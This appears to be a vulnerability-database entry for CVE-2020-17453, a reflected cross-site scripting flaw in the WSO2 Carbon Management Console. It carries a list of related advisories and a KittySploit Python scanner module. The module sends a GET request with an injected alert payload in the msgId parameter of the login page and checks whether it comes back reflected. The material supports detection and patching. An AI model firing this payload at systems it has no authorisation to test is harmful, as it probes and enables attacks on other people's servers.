WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for Cross-site Scripting in Wso2 Api_Manager | 3 Apr 202113:49 | – | githubexploit | |
| CVE-2020-17453 | 29 Mar 202103:08 | – | circl | |
| WSO2 Management Console Cross-Site Scripting Vulnerability | 5 Apr 202100:00 | – | cnnvd | |
| CVE-2020-17453 | 5 Apr 202100:00 | – | cve | |
| CVE-2020-17453 | 5 Apr 202100:00 | – | cvelist | |
| MTN Group: Cross-site Scripting (XSS) - Reflected on https://api.mtn.sd/carbon/admin/login.jsp via `msgId` parameter - CVE-2020-17453 | 9 Apr 202113:14 | – | hackerone | |
| CVE-2020-17453 | 1 Nov 202602:30 | – | kitploit | |
| CVE-2020-17453-PoC | 1 Nov 202607:21 | – | kitploit | |
| CVE-2020-17453 | 5 Apr 202100:00 | – | mend | |
| WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting | 4 Nov 202602:04 | – | nuclei |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WSO2 Management Console through 5."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting Detection',
'description': 'WSO2 Management Console through 5.10 is susceptible to reflected cross-site scripting which can be exploited by tampering a request parameter in Management Console. This can be performed in both authenticated and unauthenticated requests.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2020', 'xss', 'wso2', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-1132',
'https://nvd.nist.gov/vuln/detail/CVE-2020-17453',
'https://twitter.com/JacksonHHax/status/1374681422678519813',
'https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2021/WSO2-2020-1132/',
'https://github.com/ARPSyndicate/cvemon',
],
'cve': 'CVE-2020-17453',
}
def run(self):
r = self.http_request(method="GET", path='/carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ("'';alert('document.domain')//';",)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="WSO2 Carbon Management Console <=5.10 - Cross-Site Scripting detected",
path='/carbon/admin/login.jsp?msgId=%27%3Balert(%27document.domain%27)%2F%2F',
)
return True
return False
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28 Jul 2026 11:27Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
CVSS 3.16.1
EPSS0.26225